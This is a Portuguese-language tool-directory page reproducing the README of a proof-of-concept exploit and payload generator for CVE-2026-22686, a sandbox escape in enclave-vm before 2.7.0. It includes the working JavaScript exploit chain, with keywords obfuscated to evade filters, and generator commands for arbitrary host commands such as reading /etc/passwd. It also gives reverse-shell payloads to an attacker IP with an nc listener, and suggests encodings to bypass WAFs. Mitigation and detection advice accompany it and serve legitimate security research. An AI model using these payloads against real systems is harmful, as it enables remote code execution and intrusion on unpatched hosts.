Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-22686-RemoteCodeExecution-RCE-PoC — Prova de conceito de exploit e gerador de payload para CVE-2026-22686, uma fuga de sandbox no enclave-vm <2.7.0 que permite execução de código arbitrário e reverse shells. | Kitploit
Ferramentas/GitHubGitHub/moi404/cve-2026-22686-remotecodeexecution-rce-poc
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoPapers e PesquisaAprendizado e EducaçãoRed Teaming
GitHub
moi404/cve-2026-22686-remotecodeexecution-rce-poc

CVE-2026-22686-RemoteCodeExecution-RCE-PoC

Prova de conceito de exploit e gerador de payload para CVE-2026-22686, uma fuga de sandbox no enclave-vm <2.7.0 que permite execução de código arbitrário e reverse shells.

Ver Repositório
há 3h 43mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-22686 — PoC de Escape de Sandbox do enclave-vm

CVE CVSS enclave-vm Python License

Um exploit de prova de conceito (PoC) e gerador de payload para CVE-2026-22686, uma vulnerabilidade crítica de escape de sandbox no enclave-vm em versões anteriores à 2.7.0, permitindo execução de código arbitrário dentro do runtime Node.js do host.

⚠️ Aviso: Esta ferramenta é fornecida apenas para fins educacionais e de testes de segurança autorizados. O uso contra sistemas sem consentimento prévio por escrito é ilegal. O autor não assume qualquer responsabilidade por qualquer uso indevido.


📖 Índice

  • Visão Geral
  • Detalhes da Vulnerabilidade
  • Como Funciona
  • Instalação
  • Uso
  • Anatomia do Payload
  • Mitigação
  • Legal
  • Referências
  • Autor
  • Licença

  • 🔍 Visão Geral

    enclave-vm é uma biblioteca de sandboxing JavaScript projetada para executar com segurança código não confiável dentro de um ambiente controlado. Nas versões < 2.7.0, uma falha na forma como os objetos de erro do lado do host são expostos ao sandbox permite que um atacante percorra a cadeia de protótipos e alcance o construtor Function do host, escapando efetivamente do sandbox.

    Este repositório contém:

    • Um gerador de payload que produz um payload JavaScript pronto para colar
    • Suporte para execução de comandos arbitrários no host
    • Suporte para payloads de reverse shell
    • Uma CLI interativa bilíngue (Francês / Inglês)

    🛡️ Detalhes da Vulnerabilidade

    CampoValor
    CVE IDCVE-2026-22686
    CVSS v3.110.0 (Crítico)
    CWECWE-693 — Falha no Mecanismo de Proteção
    Componenteenclave-vm
    Afetado< 2.7.0
    Corrigido em2.7.0
    ImpactoEscape de sandbox → execução de código arbitrário (RCE)

    Causa Raiz

    Quando uma chamada de ferramenta em sandbox falha, o enclave-vm expõe o objeto Error do lado do host de volta ao código em sandbox. Como esse objeto de erro mantém sua cadeia de protótipos original do ambiente host, um atacante pode percorrer a cadeia da seguinte forma:

    root@kitploit:~
    Error instance
       └── Error.prototype
            └── Error constructor
                 └── Function constructor  ← host Function!
    

    Uma vez obtido o construtor Function do host, o atacante pode compilar e executar JavaScript arbitrário no runtime do host — contornando completamente o sandbox.


    ⚙️ Como Funciona

    O exploit segue estas etapas:

    1. Acionar um erro do lado do host invocando uma ferramenta inexistente (callTool('NONEXISTENT', {})).
    2. Recuperar o objeto de erro do sandbox (ele mantém uma referência à cadeia de protótipos do host).
    3. Percorrer a cadeia de protótipos para alcançar Error.prototype.constructor.constructor, que é o Function do host.
    4. Compilar o payload do atacante usando o Function do host e executá-lo.
    5. O payload carrega child_process e executa um comando shell arbitrário (ou gera um reverse shell).

    Todas as palavras-chave sensíveis (constructor, __proto__, __lookupGetter__, prototype) são ofuscadas como códigos de caracteres ASCII para contornar filtros estáticos simples.


    📦 Instalação

    Sem dependências externas — usa apenas a biblioteca padrão do Python.

    root@kitploit:~
    git clone https://github.com/moi_404/CVE-2026-22686-PoC.git
    cd CVE-2026-22686-PoC
    chmod +x generator.py
    

    Requisitos:

    • Python 3.8+

    🚀 Uso

    Modo Interativo

    root@kitploit:~
    python3 generator.py
    

    Será solicitado que você:

    1. Selecione seu idioma (Francês / Inglês)
    2. Selecione o tipo de payload (comando ou reverse shell)
    3. Forneça o comando / IP / porta

    Em seguida, copie o payload gerado e cole-o na entrada do sandbox vulnerável.

    Execução de Comandos

    root@kitploit:~
    python3 generator.py -c "id"
    python3 generator.py -c "cat /etc/passwd"
    python3 generator.py -c "ls -la /home"
    

    Reverse Shell

    Terminal 1 (atacante — listener):

    root@kitploit:~
    nc -lvnp 4444
    

    Terminal 2 (gerador):

    root@kitploit:~
    python3 generator.py --revshell 10.10.15.152 4444
    

    Copie o payload resultante e cole-o no sandbox. Você deve receber um shell no Terminal 1.

    Saída de Payload Bruto

    root@kitploit:~
    python3 generator.py -c "id" --raw > payload.js
    python3 generator.py --revshell 10.10.15.152 4444 --raw | xclip -selection clipboard
    

    Opções da CLI

    FlagDescrição
    -c, --commandComando shell a executar
    --revshell LHOST LPORTGera um payload de reverse shell
    --rawImprime apenas o payload (sem banner, sem decoração)
    --lang {fr,en}Força o idioma da interface
    -h, --helpMostra ajuda e exemplos

    🔬 Anatomia do Payload

    1. Decodificador ASCII

    root@kitploit:~
    const s = (...args) => String.fromCharCode(...args);
    

    Um pequeno auxiliar para decodificar arrays de códigos ASCII em tempo de execução.

    2. Palavras-chave Ofuscadas

    root@kitploit:~
    const kCon    = s(99,111,110,115,116,114,117,99,116,111,114);   // "constructor"
    const kProto  = s(95,95,112,114,111,116,111,95,95);              // "__proto__"
    const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95);  // "__lookupGetter__"
    const kPtype  = s(112,114,111,116,111,116,121,112,101);          // "prototype"
    

    Evita filtros triviais baseados em strings.

    3. Cadeia de Exploit

    root@kitploit:~
    const ObjectProto = Object[kPtype];
    const lookup = ObjectProto[kLookup];
    const getProtoNative = lookup.call(ObjectProto, kProto);
    
    let hostError;
    try {
        await callTool('NONEXISTENT', {});
    } catch (e) {
        hostError = e;
    }
    
    const errProto = getProtoNative.call(hostError);
    const HostFunc = errProto[kCon][kCon];   // Host's Function constructor
    const result = HostFunc(payload)();      // Arbitrary code execution
    

    O Function do host é então usado para executar o comando do atacante via child_process.execSync().


    🛡️ Mitigação

    Para Desenvolvedores:

    • Atualize o enclave-vm para >= 2.7.0.
    • Audite sua árvore de dependências regularmente (npm audit, Snyk, Dependabot).
    • Nunca exponha recursos de execução em sandbox a entradas não confiáveis sem validação adicional.
    • Execute código em sandbox em processos isolados (por exemplo, isolated-vm, gVisor, Firecracker).

    Para Usuários / Organizações:

    • Monitore bibliotecas de sandbox desatualizadas em produção.
    • Restrinja o acesso de rede de saída de qualquer processo que execute código do usuário.
    • Aplique o princípio do menor privilégio: execute processos Node.js como não-root.

    Detecção:

    Procure por requisições HTTP ou envios de código contendo callTool('NONEXISTENT', __lookupGetter__, longos arrays de literais inteiros separados por vírgula, ou child_process / execSync.


    ⚖️ Legal

    Este projeto é publicado estritamente para pesquisa educacional e de segurança defensiva. Destina-se a pesquisadores de segurança, testadores de penetração autorizados e jogadores de CTF.

    Não use esta ferramenta contra sistemas que você não possui ou para os quais não possui autorização explícita por escrito para testar. O acesso não autorizado a sistemas de computador é ilegal na maioria das jurisdições (CFAA nos EUA, Computer Misuse Act no Reino Unido, Artigo 323-1 na França) e pode resultar em penalidades criminais severas.

    Ao usar este software, você concorda que o autor não é responsável por quaisquer danos ou consequências legais resultantes de seu uso.


    📚 Referências

    • enclave-vm no npm
    • PoC original por @amusedx
    • CWE-693: Falha no Mecanismo de Proteção
    • Documentação do child_process do Node.js
    • OWASP: Melhores Práticas de Sandboxing

    👤 Autor

    • GitHub: @moi_404

    📄 Licença

    Este projeto está licenciado sob a Licença MIT — consulte o arquivo LICENSE para detalhes.


    🙏 Agradecimentos

    • @amusedx pela pesquisa original da vulnerabilidade e PoC
    • Os mantenedores do enclave-vm pela divulgação responsável e correção
    • A comunidade de segurança pela pesquisa contínua sobre escapes de sandbox JavaScript

    ⭐ Contribuindo

    Pull requests são bem-vindos. Para mudanças importantes, abra uma issue primeiro.

    Melhorias sugeridas:

    • Codificações adicionais (base64, hex, rot13) para contornar WAFs
    • Detecção automática de endpoints vulneráveis
    • Suporte para outras bibliotecas de sandbox (vm2, isolated-vm)
    • Testes unitários e integração com CI
    Baixar ferramenta